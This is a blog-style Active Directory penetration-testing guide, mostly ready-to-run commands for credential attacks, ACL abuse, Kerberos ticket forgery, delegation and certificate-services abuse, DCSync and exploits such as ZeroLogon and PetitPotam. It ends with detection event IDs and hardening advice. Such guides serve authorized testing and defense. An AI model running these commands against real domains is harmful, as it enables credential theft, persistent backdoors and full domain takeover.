Active Directory Security Testing: The Complete Attacker's Perspective | Tağmaç - root@Tagoletta:~#
Contents

Active Directory Security Testing: The Complete Attacker's Perspective

Mon Jun 29 2026 · 7 min read

Category: Security Research

# Active-Directory# Kerberos# Exploit# Attack-Chain# Windows

Introduction: Why Active Directory Is Always the Primary Target

Active Directory (AD) is Microsoft's enterprise identity and access management solution. Over 90% of Fortune 500 companies, government agencies, and educational institutions run on AD-based infrastructure. When a single Domain Controller (DC) is compromised, all domain resources — user accounts, servers, file shares, VPN systems, email infrastructure — fall under the attacker's influence.

This guide covers how to assess an AD environment from an attacker's perspective in the context of authorized penetration testing. Every step from enumeration to DCSync, from certificate services to trust attacks, is shown with real commands and tools.

Ethical Note: The techniques in this guide may only be used in legally authorized environments (penetration testing, CTF, personal lab). Unauthorized use on live systems carries legal consequences.


Lab Environment and Toolset

Before testing, you need to prepare your environment and tools.

Attack Platform (Kali Linux / Parrot OS):

sudo apt install bloodhound neo4j crackmapexec evil-winrm
pip3 install impacket certipy-ad
git clone https://github.com/PowerShellMafia/PowerSploit   # PowerView
git clone https://github.com/ly4k/Certipy                  # ADCS attacks
git clone https://github.com/eladshamir/Whisker             # Shadow Credentials
Tool Platform Use Case
BloodHound + SharpHound Linux / Windows Attack path enumeration
PowerView Windows PS AD object queries
Rubeus Windows Kerberos ticket operations
Mimikatz Windows Hash dump, ticket injection
Impacket suite Linux DCSync, secretsdump, relay
CrackMapExec Linux SMB/WinRM/LDAP scanning
Certipy Linux ADCS (ESC1-ESC8)
Whisker / pywhisker Win / Linux Shadow Credentials

Part 1: Enumeration

1.1 Unauthenticated Enumeration

# LDAP anonymous bind
ldapsearch -x -H ldap://10.10.10.10 -b "" -s base "(objectclass=*)" namingContexts

# Enum4linux-ng
enum4linux-ng -A 10.10.10.10

# Nmap LDAP scripts
nmap -p 389 --script ldap-rootdse,ldap-search 10.10.10.10

# Null session SMB
crackmapexec smb 10.10.10.10 -u '' -p ''

1.2 Authenticated Enumeration

# PowerView — user enumeration
Import-Module .\PowerView.ps1
Get-DomainUser -SPN | select samaccountname, serviceprincipalname
Get-DomainUser -UACFilter DONT_REQUIRE_PREAUTH | select samaccountname
Get-DomainComputer -Unconstrained | select name
# CrackMapExec
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' --users --groups --shares

# Impacket
python3 GetADUsers.py corp.local/jdoe:Password123 -all

1.3 BloodHound Attack Path Mapping

# SharpHound collection
.\SharpHound.exe -c All --zipfilename output.zip
.\SharpHound.exe -c DCOnly   # faster, DC-only queries
# BloodHound.py from Linux
python3 bloodhound.py -u jdoe -p 'Password123' -d corp.local -dc dc01.corp.local -c all --zip

Key Cypher queries:

// Shortest path to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p

// Kerberoastable accounts
MATCH (u:User {hasspn:true, enabled:true}) RETURN u.name, u.serviceprincipalnames

// AS-REP Roastable accounts
MATCH (u:User {dontreqpreauth:true, enabled:true}) RETURN u.name

// DCSync rights
MATCH p=(n)-[:DCSync]->(d:Domain) RETURN n.name, d.name


Part 2: Credential Attacks

2.1 Password Spraying

./kerbrute passwordspray -d corp.local users.txt 'Winter2024!'
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123!' --continue-on-success

Critical: Check lockoutThreshold from Get-DomainPolicy. Stay at least 2 attempts below the lockout threshold and wait 30+ minutes between sprays.

2.2 AS-REP Roasting

The DONT_REQUIRE_PREAUTH flag (bit 0x400000 in UserAccountControl) means the KDC will return an encrypted AS-REP without verifying a timestamp — that response is offline crackable.

# Impacket (Linux)
python3 GetNPUsers.py corp.local/ -no-pass -usersfile users.txt -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt
# Rubeus (Windows)
Rubeus.exe asreproast /nowrap /format:hashcat

msDS-SupportedEncryptionTypes: If set to 0x04 (RC4 only), the hash cracks faster. If set to 0x18 (AES256 only), expect much longer crack times.

2.3 Kerberoasting

Any authenticated domain user can request a TGS for any account with a servicePrincipalName. That ticket is encrypted with the service account's NTLM hash — crackable offline.

python3 GetUserSPNs.py corp.local/jdoe:Password123 -dc-ip 10.10.10.10 -request -outputfile tgs.txt
hashcat -m 13100 tgs.txt rockyou.txt
Rubeus.exe kerberoast /nowrap

RC4 Downgrade via msDS-SupportedEncryptionTypes: If you have GenericWrite on the target, set msDS-SupportedEncryptionTypes = 4 before requesting the TGS to force RC4 encryption (faster to crack):

Set-DomainObject -Identity svc_sql -Set @{msds-supportedencryptiontypes=4}
Rubeus.exe kerberoast /user:svc_sql /nowrap
Set-DomainObject -Identity svc_sql -Set @{msds-supportedencryptiontypes=28}  # restore

2.4 NTLM Hash Capture and Relay

sudo python3 Responder.py -I eth0 -wrf
hashcat -m 5600 ntlmv2.txt wordlist.txt

# NTLM relay (SMB signing disabled targets)
python3 ntlmrelayx.py -tf targets.txt -smb2support -c "COMMAND"

Part 3: Lateral Movement

# Pass-the-Hash
python3 psexec.py -hashes :NT_HASH administrator@10.10.10.10
python3 wmiexec.py -hashes :NT_HASH administrator@10.10.10.10
evil-winrm -i 10.10.10.10 -u administrator -H NT_HASH

# Overpass-the-Hash (NT hash → TGT)
Rubeus.exe asktgt /user:administrator /rc4:HASH /ptt

# Pass-the-Ticket
Rubeus.exe dump /nowrap
Rubeus.exe ptt /ticket:BASE64_TICKET

Part 4: ACL / ACE Abuse and Attribute Manipulation

This is where AD testing gets deep. Every AD object has a DACL (Discretionary Access Control List) composed of ACEs (Access Control Entries). Certain ACEs allow low-privilege users to manipulate AD attributes directly — leading to privilege escalation without touching any "traditional" vulnerability.

ACE Impact
GenericAll Full control — password reset, Shadow Creds, SPN abuse, RBCD
GenericWrite Write specific attributes — SPN, scriptPath, logonScript
WriteDACL Add new ACEs — give yourself DCSync or GenericAll
WriteOwner Change object owner — then grant WriteDACL to yourself
AllExtendedRights ForceChangePassword, read LAPS
AddMember Add members to groups
# Find interesting ACEs
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
  $_.IdentityReferenceName -match "jdoe" -and
  $_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite"
}

Shadow Credentials (msDS-KeyCredentialLink)

With GenericAll or GenericWrite on a user/computer, inject a certificate key into msDS-KeyCredentialLink. Authenticate via PKINIT to retrieve the NT hash without knowing or changing the password.

# Linux
python3 pywhisker.py -d corp.local -u jdoe -p 'Password123' --target svc_sql --action add
python3 gettgtpkinit.py corp.local/svc_sql -cert-pem cert.pem -key-pem key.pem svc_sql.ccache
python3 getnthash.py corp.local/svc_sql -key 'SESSION_KEY'
# Windows
Whisker.exe add /target:svc_sql
# Output: Rubeus command to get NT hash via PKINIT U2U

WriteDACL → DCSync

Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jdoe -Rights DCSync
python3 secretsdump.py corp.local/jdoe:'Password123'@10.10.10.10

AdminSDHolder and adminCount

Accounts with adminCount=1 are protected by AdminSDHolder. Adding a GenericAll ACE to CN=AdminSDHolder,CN=System,DC=corp,DC=local causes it to propagate to all protected accounts (hourly via SDProp).

Get-DomainUser -AdminCount | select samaccountname, admincount
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity backdoor_user -Rights All

Part 5: Kerberos Ticket Attacks

Golden Ticket

# Requires: krbtgt NTLM hash + domain SID
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /ptt
Rubeus.exe golden /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /ptt

The krbtgt password must be reset twice to fully invalidate all Golden Tickets.

Silver Ticket

# No KDC contact needed — forge TGS with service account hash
kerberos::silver /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /target:dc01.corp.local /service:cifs /rc4:SVC_HASH /ptt

Diamond Ticket

Decrypt an existing real TGT, modify it, re-encrypt — looks more legitimate than a forged ticket.

Rubeus.exe diamond /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:lowpriv /ticket:BASE64_TGT /ptt

Part 6: Delegation Attacks

Unconstrained Delegation

Get-DomainComputer -Unconstrained | select name
Rubeus.exe monitor /interval:5 /nowrap         # wait for TGTs
python3 PetitPotam.py ATTACKER_IP DC01_IP      # coerce DC to authenticate
Rubeus.exe ptt /ticket:BASE64_DC_TGT

Constrained Delegation (S4U2Self + S4U2Proxy)

Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto
Rubeus.exe s4u /user:svc_web /rc4:HASH /impersonateuser:Administrator /msdsspn:CIFS/DC01.corp.local /ptt

RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity)

# Requires: GenericWrite on target computer
New-MachineAccount -MachineAccount FAKEMACHINE -Password (ConvertTo-SecureString 'FakePass123!' -AsPlainText -Force)
$sid = (Get-DomainComputer FAKEMACHINE).objectsid
$sd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$sdBytes = New-Object byte[] ($sd.BinaryLength); $sd.GetBinaryForm($sdBytes, 0)
Set-DomainComputer TARGET_COMPUTER -Set @{'msds-allowedtoactonbehalfofotheridentity'=$sdBytes}
Rubeus.exe s4u /user:FAKEMACHINE$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET_COMPUTER.corp.local /ptt

Key attribute: msDS-MachineAccountQuota (default 10) — allows domain users to create machine accounts, enabling this attack.


Part 7: AD Certificate Services (ADCS) Attacks

ESC1 — ENROLLEE_SUPPLIES_SUBJECT + Client Auth

certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout
certipy req -u jdoe@corp.local -p 'Password123' -ca CORP-CA -template VulnerableTemplate -upn administrator@corp.local
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

ESC8 — NTLM Relay to ADCS HTTP

python3 ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp --adcs --template DomainController
python3 PetitPotam.py ATTACKER_IP DC01_IP
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10
python3 secretsdump.py -hashes :DC01_HASH 'corp.local/DC01$@10.10.10.10'

Part 8: DCSync and Domain Compromise

# Required rights: DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
python3 secretsdump.py corp.local/jdoe:'Password123'@10.10.10.10 -just-dc-ntlm
lsadump::dcsync /domain:corp.local /user:krbtgt
# ntds.dit via Volume Shadow Copy
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive
python3 secretsdump.py -ntds ntds.dit -system SYSTEM.hive LOCAL

Part 9: Critical CVEs

ZeroLogon (CVE-2020-1472)

AES-CFB8 IV=0 trick in Netlogon's NetrServerAuthenticate3 allows unauthenticated machine account password reset with ~256 attempts.

python3 cve-2020-1472-exploit.py DC01 10.10.10.10
python3 secretsdump.py -no-pass -just-dc corp.local/'DC01$'@10.10.10.10
# ALWAYS restore original password
python3 restorepassword.py corp.local/DC01@10.10.10.10 -hexpass ORIGINAL_HEX

noPac (CVE-2021-42278 + CVE-2021-42287)

sAMAccountName spoofing: rename machine account to match a DC name, get TGT, rename account, KDC falls back to DC machine account.

python3 noPac.py corp.local/jdoe:'Password123' -dc-ip 10.10.10.10 -dc-host DC01 --dump --impersonate administrator

PetitPotam (CVE-2021-36942)

MS-EFSR EfsRpcOpenFileRaw coerces any Windows machine to NTLM authenticate to the attacker. Pairs with ESC8 for instant domain compromise.

python3 PetitPotam.py ATTACKER_IP DC01_IP

Part 10: Defense and Detection

Key Windows Event IDs:

Event ID Attack Detected
4769 (EncryptionType = RC4 = 0x17) Kerberoasting
4768 (PreAuthType = 0) AS-REP Roasting
4662 (Object Type: DS-Replication) DCSync
4738 / 5136 Attribute manipulation
4742 Computer account modified (RBCD/noPac)
4625 bursts Password spray

Hardening Checklist:

  • Use gMSA for service accounts (eliminates Kerberoasting)
  • Enforce AES-only Kerberos (msDS-SupportedEncryptionTypes = 24)
  • Set msDS-MachineAccountQuota = 0 (eliminates RBCD)
  • Enable SMB signing (eliminates NTLM relay)
  • Enable LDAP signing + channel binding
  • Enable Credential Guard (eliminates LSASS hash extraction)
  • Audit ADCS templates with certipy regularly
  • Disable Print Spooler where unnecessary (PrintNightmare, coercion)
  • Apply Protected Users group to privileged accounts
  • Implement PAM/Tier model

References:

  • SpecterOps "Certified Pre-Owned" — Will Schroeder & Lee Christensen (2021)
  • "An Ace Up the Sleeve" — Andy Robbins & Will Schroeder (2017)
  • "Shadow Credentials" — Elad Shamir (2021)
  • "Not A Security Boundary" — harmj0y / Andy Robbins
  • Microsoft MSRC CVE-2020-1472, CVE-2021-36942, CVE-2021-42278/42287

Frequently Asked Questions

Where do you start an Active Directory penetration test?

Start with low-privilege enumeration: map users, groups, computers, GPOs and trusts with tools like BloodHound, ldapsearch, and PowerView. Identify quick wins such as AS-REP roastable accounts, Kerberoastable service accounts, and misconfigured ACLs before attempting any active exploitation.

What is the difference between Kerberoasting and AS-REP Roasting?

Kerberoasting targets accounts with a Service Principal Name (SPN): any authenticated user can request a service ticket and crack it offline for the service account's password. AS-REP Roasting targets accounts that have Kerberos pre-authentication disabled, letting you retrieve a crackable AS-REP without any credentials.

What is a DCSync attack?

DCSync abuses the Directory Replication Service (DRSUAPI) protocol: an account with the 'Replicating Directory Changes' rights (normally only Domain Controllers and high-privilege groups) can ask a DC to replicate password hashes — including the krbtgt hash — enabling Golden Ticket forgery and full domain compromise.

How can defenders detect Active Directory attacks?

Monitor for anomalous Kerberos ticket requests (event 4769 with RC4 encryption), AS-REP requests for pre-auth-disabled accounts, replication requests from non-DC hosts (DCSync), sudden ACL changes, and certificate enrollment anomalies. BloodHound Community Edition and honeytoken accounts help surface attack paths and early-stage activity.